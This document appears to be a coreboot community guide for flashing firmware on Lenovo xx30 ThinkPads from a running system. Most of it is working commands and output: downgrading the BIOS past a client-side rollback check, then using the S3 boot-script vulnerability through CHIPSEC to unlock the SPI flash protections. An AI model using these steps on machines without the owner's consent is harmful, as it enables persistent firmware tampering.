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Evgeny Zinoviev
5 years ago
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This document describes known methods of flashing BIOS on xx20 and xx30 series of Lenovo ThinkPads without external programmer. The main goal is flashing coreboot while running stock BIOS.
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# IvyBridge series (X230, T430, etc.)
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Old versions of stock BIOS for these models have several security issues. In context of this guide, two of them are of interest.
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**First** is the fact the SMM_BWP and BLE are not enabled in BIOS versions released before 2014. I have tested many versions on T430 (and some on X230) and I found out that SMM_BWP=1 only since the update, the changelog of which contains following line:
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> (New) Improved the UEFI BIOS security feature.
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**Second** is [S3 Boot Script vulnerability](https://support.lenovo.com/eg/ru/product_security/s3_boot_protect), that was discovered and fixed later.
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## Requirements:
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- a USB drive (in case you need to downgrade BIOS)
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- Linux install that (can be) loaded in UEFI mode
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## BIOS versions
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Below is a list of BIOS versions that are vulnerable enough for our goals, per model. The version number means that you need to downgrade to that or earlier version.
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**X230**: 2.60<br>
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**T430**: 2.64<br>
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**T430s**: 2.59<br>
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**T530**: 2.60<br>
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**W530**: 2.58
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If your BIOS version is equal or lower, skip to the **Examining and removing protections** section. If not, go through the downgrade process, described next.
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## Downgrading BIOS
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Go to the Lenovo web site and download BIOS Update Bootable CD for your machine of needed version (see above).
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Lenovo states that BIOS has "security rollback prevention", meaning once you update it to some version X, you will not be able to downgrade it to pre-X version. That's not true. It seems that this is completely client-side restriction in flashing utilities (both Windows utility and Bootable CD). You just have to call winflash.exe or dosflash.exe directly. Therefore you need to modify the bootable CD image you just downloaded.
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Extract an El Torito image:
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```
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geteltorito -o ./bios.img g1uj41us.iso
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```
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Mount the partition in that image:
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```
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sudo mount -t vfat ./bios.img /mnt -o loop,offset=16384
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```
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List files, find the AUTOEXEC.BAT file and the FLASH directory:
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```
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ls /mnt
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ls /mnt/FLASH
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```
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Inside the FLASH directory, there should be a directory called G1ET93WW or similar (exact name depends on your ThinkPad model). See what's inside:
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```
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ls /mnt/FLASH/G1ET93WW
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```
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There must be a file with `.FL1` extension called $01D2000.FL1 or something similar.
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Now open the AUTOEXEC.BAT file:
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```
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sudo vim /mnt/AUTOEXEC.BAT
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```
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You will see a list of commands:
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```
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@ECHO OFF
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PROMPT $p$g
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cd c:\flash
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command.com
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```
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Replace the last line (`command.com`) with this (change path to .FL1 file according to yours):
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```
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dosflash.exe /sd /file G1ET93WW\$01D2000.FL1
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```
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Save the file and unmount the partition:
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```
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sudo unmount /mnt
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```
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Write this image to a USB drive (replace `/dev/sdX` with your USB drive device name):
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```
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dd if=./bios.img of=/dev/sdX bs=1M
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```
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Now reboot and enter BIOS settings (press F1). Open the "Startup" tab and set the "UEFI/Legacy Boot" option to "Legacy Only" (or "Both" and "Legacy First").
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Press F10 to save changes and reboot.
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Now, before you process, make sure that AC adapter is connected! If your battery will die during the process, you'll likely need external programmer to recover.
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Boot from the USB drive (press F12 to select boot device), and BIOS flashing process should begin.
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## Examining and removing protections
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### Preparations
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Enter BIOS settings and set the "UEFI/Legacy Boot" option to "UEFI Only", or to "Both" and "UEFI First".
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Now boot to your Linux system and make sure that `/sys/firmware/efi` or `/sys/firmware/efivars` exist.
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[Install CHIPSEC](https://github.com/chipsec/chipsec/wiki/Installing-CHIPSEC-in-Linux). You will need two patches for it, as they are not merged yet: [#737](https://github.com/chipsec/chipsec/pull/737) and [#738](https://github.com/chipsec/chipsec/pull/738). Without those patches, s3script_modify will not work.
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### Theory
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There are two (or two and a half, lol) main ways that Intel platform provides to protect BIOS chip:
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- **BIOS_CNTL** register of LPC Interface Bridge Registers (accessible via PCI configuration space, offset 0xDC). It has:
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* **SMM_BWP** (*SMM BIOS Write Protect*) bit. If set to 1, the BIOS is writable only in SMM. Once set to 1, cannot be changed anymore.
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* **BLE** (*BIOS Lock Enable*) bit. If set to 1, setting BIOSWE to 1 will raise SMI. Once set to 1, cannot be changed anymore.
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* **BIOSWE** (*BIOS Write Enable*) bit. Controls whether BIOS is writable.
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- SPI Protected Range Registers (**PR0**-**PR4**) of SPI Configuration Registers (SPIBAR+0x74 - SPIBAR+0x84). Each register has bits that define protected range, plus WP bit, that defines whether write protection is enabled.
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- **FLOCKDN** bit of HSFS register (SPIBAR+0x04) of SPI Configuration Registers. When set to 1, PR0-PR4 registers cannot be written. Once set to 1, cannot be changed anymore.
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To be able to flash, we need SMM_BWP=0, BIOSWE=1, BLE=0, FLOCKDN=0 or SPI protected ranges (PRx) to have a WP bit set to 0.
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Let's see what we have. Run this to examine HSFS register:
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```
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sudo chipsec_main -m chipsec.modules.common.spi_lock
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```
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You should see that FLOCKDN=1:
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```
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[x][ =======================================================================
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[x][ Module: SPI Flash Controller Configuration Locks
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[x][ =======================================================================
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[*] HSFS = 0xE009 << Hardware Sequencing Flash Status Register (SPIBAR + 0x4)
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[00] FDONE = 1 << Flash Cycle Done
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[01] FCERR = 0 << Flash Cycle Error
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[02] AEL = 0 << Access Error Log
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[03] BERASE = 1 << Block/Sector Erase Size
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[05] SCIP = 0 << SPI cycle in progress
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[13] FDOPSS = 1 << Flash Descriptor Override Pin-Strap Status
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[14] FDV = 1 << Flash Descriptor Valid
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[15] FLOCKDN = 1 << Flash Configuration Lock-Down
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```
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Then check BIOS_CNTL and PR0-PR4:
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```
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sudo chipsec_main -m common.bios_wp
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```
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Good news: on old BIOS versions, SMM_BWP=0 and BLE=0.<br>
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Neutral news: BIOSWE is disabled, but it's R/W anyway.<br>
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Bad news: there are 4 write protected SPI ranges:
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```
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[x][ =======================================================================
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[x][ Module: BIOS Region Write Protection
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[x][ =======================================================================
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[*] BC = 0x 8 << BIOS Control (b:d.f 00:31.0 + 0xDC)
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[00] BIOSWE = 0 << BIOS Write Enable
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[01] BLE = 0 << BIOS Lock Enable
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[02] SRC = 2 << SPI Read Configuration
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[04] TSS = 0 << Top Swap Status
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[05] SMM_BWP = 0 << SMM BIOS Write Protection
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[-] BIOS region write protection is disabled!
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[*] BIOS Region: Base = 0x00500000, Limit = 0x00BFFFFF
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SPI Protected Ranges
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------------------------------------------------------------
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PRx (offset) | Value | Base | Limit | WP? | RP?
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------------------------------------------------------------
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PR0 (74) | 00000000 | 00000000 | 00000000 | 0 | 0
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PR1 (78) | 8BFF0B40 | 00B40000 | 00BFFFFF | 1 | 0
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PR2 (7C) | 8B100B10 | 00B10000 | 00B10FFF | 1 | 0
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PR3 (80) | 8ADE0AD0 | 00AD0000 | 00ADEFFF | 1 | 0
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PR4 (84) | 8AAF0800 | 00800000 | 00AAFFFF | 1 | 0
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```
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Other way to examine SPI configuration registers is to just dump SPIBAR:
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```
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sudo chipsec_util mmio dump SPIBAR
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```
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You will see SPIBAR address and registers (for example, 00000004 is HSFS):
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```
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[mmio] MMIO register range [0x00000000FED1F800:0x00000000FED1F800+00000200]:
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+00000000: 0BFF0500
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+00000004: 0004E009
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...
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```
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Now the fun part! FLOCKDN may only be cleared by a hardware reset, which includes S3 state. On S3 resume boot path, the chipset configuration has to be restored and it's done by executing "S3 Boot Scripts". You can dump these scripts by executing:
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```
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sudo chipsec_util uefi s3bootscript
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```
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There are many entries. Along them, you can find instructions to write to HSFS (remember, we know that SPIBAR is 0xFED1F800):
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```
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Entry at offset 0x2B8F (len = 0x17, header len = 0x0):
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Data:
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02 00 17 02 00 00 00 01 00 00 00 04 f8 d1 fe 00 |
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00 00 00 09 e0 04 00 |
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Decoded:
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Opcode : S3_BOOTSCRIPT_MEM_WRITE (0x0002)
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Width : 0x02 (4 bytes)
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Address: 0xFED1F804
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Count : 0x1
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Values : 0x0004E009
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```
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These scripts are located in memory. The vulnerability is that we can overwrite this memory, change these instructions and they will be executed on S3 resume.
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### Practice
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The original script writes 0xE009 to HSFS. FLOCKDN is 15th bit, so let's write 0x6009 instead.
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Run this:
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```
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sudo chipsec_main -m tools.uefi.s3script_modify -a replace_op,mmio_wr,0xFED1F804,0x6009,0x2
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```
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You will get a lot of output and in the end you should see something like this:
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```
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[*] Modifying S3 boot script entry at address 0x00000000DAF49B8F..
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[mem] 0x00000000DAF49B8F
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[*] Original entry:
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2 0 17 2 0 0 0 1 0 0 0 4 f8 d1 fe 0 |
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0 0 0 9 e0 4 0 |
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[mem] buffer len = 0x17 to PA = 0x00000000DAF49B8F
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2 0 17 2 0 0 0 1 0 0 0 4 f8 d1 fe 0 |
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0 0 0 9 60 0 0 | `
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[mem] 0x00000000DAF49B8F
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[*] Modified entry:
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2 0 17 2 0 0 0 1 0 0 0 4 f8 d1 fe 0 |
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0 0 0 9 60 0 0 | `
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[*] After sleep/resume, check the value of register 0xFED1F804 is 0x6008
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[+] PASSED: The script has been modified. Go to sleep..
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```
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Now go to S3, then resume and check FLOCKDN. It should be 0:
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```
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sudo chipsec_main -m chipsec.modules.common.spi_lock
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...
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[x][ =======================================================================
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[x][ Module: SPI Flash Controller Configuration Locks
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[x][ =======================================================================
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[*] HSFS = 0x6008 << Hardware Sequencing Flash Status Register (SPIBAR + 0x4)
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[00] FDONE = 0 << Flash Cycle Done
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[01] FCERR = 0 << Flash Cycle Error
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[02] AEL = 0 << Access Error Log
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[03] BERASE = 1 << Block/Sector Erase Size
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[05] SCIP = 0 << SPI cycle in progress
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[13] FDOPSS = 1 << Flash Descriptor Override Pin-Strap Status
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[14] FDV = 1 << Flash Descriptor Valid
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[15] FLOCKDN = 0 << Flash Configuration Lock-Down
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[-] SPI Flash Controller configuration is not locked
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[-] FAILED: SPI Flash Controller not locked correctly.
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...
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```
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Set BIOSWE:
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```
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sudo setpci -s 00:1f.0 dc.b=09
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```
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Remove WP from protected ranges:
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```
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sudo chipsec_util mmio write SPIBAR 0x74 0x4 0xAAF0800
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sudo chipsec_util mmio write SPIBAR 0x78 0x4 0xADE0AD0
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sudo chipsec_util mmio write SPIBAR 0x7C 0x4 0xB100B10
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sudo chipsec_util mmio write SPIBAR 0x80 0x4 0xBFF0B40
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```
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Verify that it worked:
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```
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sudo chipsec_main -m common.bios_wp
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```
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```
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[x][ =======================================================================
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[x][ Module: BIOS Region Write Protection
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[x][ =======================================================================
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[*] BC = 0x 9 << BIOS Control (b:d.f 00:31.0 + 0xDC)
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[00] BIOSWE = 1 << BIOS Write Enable
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[01] BLE = 0 << BIOS Lock Enable
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[02] SRC = 2 << SPI Read Configuration
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[04] TSS = 0 << Top Swap Status
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[05] SMM_BWP = 0 << SMM BIOS Write Protection
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[-] BIOS region write protection is disabled!
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[*] BIOS Region: Base = 0x00500000, Limit = 0x00BFFFFF
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SPI Protected Ranges
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------------------------------------------------------------
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PRx (offset) | Value | Base | Limit | WP? | RP?
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------------------------------------------------------------
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PR0 (74) | 0AAF0800 | 00800000 | 00AAF000 | 0 | 0
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PR1 (78) | 0ADE0AD0 | 00AD0000 | 00ADE000 | 0 | 0
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PR2 (7C) | 0B100B10 | 00B10000 | 00B10000 | 0 | 0
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PR3 (80) | 0BFF0B40 | 00B40000 | 00BFF000 | 0 | 0
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PR4 (84) | 00000000 | 00000000 | 00000000 | 0 | 0
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```
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Bingo!
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Now you can flash coreboot (or anything else) with flashrom.
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Remember to flash only `bios` region (use `--ifd -i bios -N`). `fd` and `me` are still locked.
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# SandyBridge series (X220, T420, etc.): WIP
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S3 Boot Scripts are unprotected on these models too (even on the most recent BIOS versions), but it's not useful, because FLOCKDN and SPI protected ranges are set by **LenovoFlashProtectPei** UEFI module. It is trivial to patch it, but it resides in protected range, so it can only be flashed externally. Currenly there are no known methods to unlock PRs on these devices, but investigation is ongoing.
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# Troubleshooting
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If something doesn't work, please let me know by creating an issue, or ask me on #coreboot.
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# Credits
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**Rafal Wojtczuk** and **Corey Kallenberg** for discovering the vulnerability
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[pgera](https://github.com/hamishcoleman/thinkpad-ec/issues/70#issuecomment-417903315) for the initial research and working solution
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Lenovo for fake rollback protection
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